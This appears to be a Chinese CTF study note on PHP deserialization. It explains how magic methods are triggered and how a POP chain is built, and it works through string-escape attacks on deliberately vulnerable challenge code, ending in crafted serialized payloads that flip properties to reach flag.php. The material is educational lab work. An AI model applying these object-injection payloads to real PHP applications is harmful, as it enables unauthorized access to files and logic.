1、魔术方法触发规则:
魔术方法触发的前提是:魔法方法所在类(或对象)被调用
分析代码,_wakeup()的触发条件是进行反序列化,_tostrinng()触发的条件是把对象当成字符串调用,但是魔术方法触发的前提是:魔法方法所在类(或对象)被调用,所以_wakeup()没有调用,echo将反序列化的对象当做字符串使用,则_tostrinng()被触发。如果要输出“tostring is here”就需要调用_tostrinng()函数,所以要在source中包含sec实例化的对象
构造得到payload
2、pop链构造与poc编写
pop链:
pop链就是利用魔法方法在里面实现多次跳转然后获取敏感数据的一种payload。
poc:中文译做概念验证,可以理解为漏洞验证程序,是一段不完整的代码(用于验证提出者观点)
首先分析代码,目标:触发echo,调用flag
第一步:触发invoke,调用append,并使Svar=flag.php(invoke触发条件:把对象当成函数)
给Sp赋值为对象,即function成为对象Modifier
却被当成函数调用,触发Modifier中的invoke
第二步:触发get,(触发条件:调用不存在的成员属性)给Sstr赋值为对象Test,而Test中不存在成员属性source,
则可触发Test里的成员方法get
第三步:触发toString (触发条件:把对象当成字符串)给Ssource赋值为对象Show,当成字符串被echo调用,触发toString
据此写出构造payload的代码
因为private属性所以要在前后加上%00后上传。
3、字符串逃逸:
字符减少:
反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸:一般在数据经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少时可能存在反序列化属性逃逸。
原因:
1、成员属性数量不对
2、成员属性名称长度不对
3、内容长度不对
在前面字符串没有问题的情况下,;}是反序列化的结束符,后面的字符串不影响反序列化结果。但是;}不一定都是结束符,是字符串还是格式符是由前面的数字判断的。
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>
分析:
O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
如果要逃逸123,就把前面的代码abc";s:2:"v2";s:3:"变成一个字符串
思路:通过修改$v2的值123使后面的字符串变为功能性代码;s:2:"v3";N;}实现属性v2的逃逸
O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:?:";s:2:"v3";N;}";}
(字符串缺失导致格式被破坏,system()被吃掉,abc";s:2:"v长度为11; 令O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:"123";})
因此需要让123前面的代码abc";s:2:"v2";s:3:"成为一个字符串
O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:";s:2:"v3";N;}
一个system()可以替换掉8个字符,abc";s:2:"v2";s:xx:";长度为20,所以前面最少要吃掉3个system()
O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:xx:";s:2:"v3";N;}";}
abcsystem()system()syestem()的长度是27,吃掉后abc";s:2:"v2";s:xx:"长度为20,
所以后面还要再补上7个字符,故:
O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
所以,v1赋值为abcsystem()system()system();v2赋值为1234567";s:2:"v3";N;}
字符逃逸减少例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo file_get_contents("flag.php");
}
?>
要输出flag就需要if ($profile->vip){判断为真,因此在赋值时需要将其值改为true。
一:字符串过滤后减少还是增多
二:构造出关键成员属性序列化字符串
$vip=ture
三:变少则判断吃掉的内容,并计算长度
四:构造payload并输出
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}
flag被替换成hk,字符声减少会吃掉后面的结构代码
关键代码";s:3:"vip";b:1;}需要吃掉吃掉”:s:4"pass";s:3,$pass的值dun可控,可实现字符串逃逸。
但是这样的话成员属性就会减少一个,所以要多吃一个1,吃掉":s:4:"pass"'s:Xx:"1,这样总共吃了20位,flag转变成hk每次吃掉2个字符,所以共需要10个flag而多吃的一位可以在后面补。
给关键成员属性赋值,得到初始序列化代码。
<?php
//function filter($name){
// $safe=array("flag","php");
// $name=str_replace($safe,"hk",$name);
// return $name;
//}
class test{
var $user = 'flag';
var $pass = 'dun';
var $vip = true ;
// function __construct($user,$pass){
// $this->user=$user;
// $this->pass=$pass;
// }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
// echo file_get_contents("flag.php");
}
echo serialize(new test());
?>
用目标代码赋值($pass的值dun可控,可实现字符串逃逸。)
给pass赋值:1 ";s:4:"pass";s:3:"dun";s:3:"vip";b:1;} (flag转变成hk每次吃掉2个字符,所以共需要10个flag而多吃的一位可以在后面补)
user赋值:flagflagflagflagflagflagflagflagflagflag
<?php
//function filter($name){
// $safe=array("flag","php");
// $name=str_replace($safe,"hk",$name);
// return $name;
//}
class test{
var $user = 'flagflagflagflagflagflagflagflagflagflag';
var $pass = '1 ";s:4:"pass";s:3:"dun";s:3:"vip";b:1;}';
var $vip = true ;
// function __construct($user,$pass){
// $this->user=$user;
// $this->pass=$pass;
// }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
// echo file_get_contents("flag.php");
}
echo serialize(new test());
?>
字符增多:(例题)
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
首先观察代码发现替换后字符串增加
<?php
class test
{
var $user = 'dun';
var $pass = 'escaping';
}
echo serialize(new test());
?>
O:4:"test":2:{s:4:"user";s:3:"dun";s:4:"pass";s:8:"escaping";}
得到结果,";s:4:"pass";s:8:"escaping";}就是需要逃逸的内容,共有29个,每个hack替换一个php,则替换29个字符需要输入29个php,所以user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
<?php
class test
{
var $user = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
var $pass = 'escaping';
}
//echo serialize(new test());
$a = serialize(new test());
$a = str_replace("php","hack",$a);
echo $a;
?>
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}
总结:
反序列化字符串减少逃逸:多逃逸出一个成员属性,第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
反序列化字符串增多逃逸:构造出一个逃逸成员属性第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性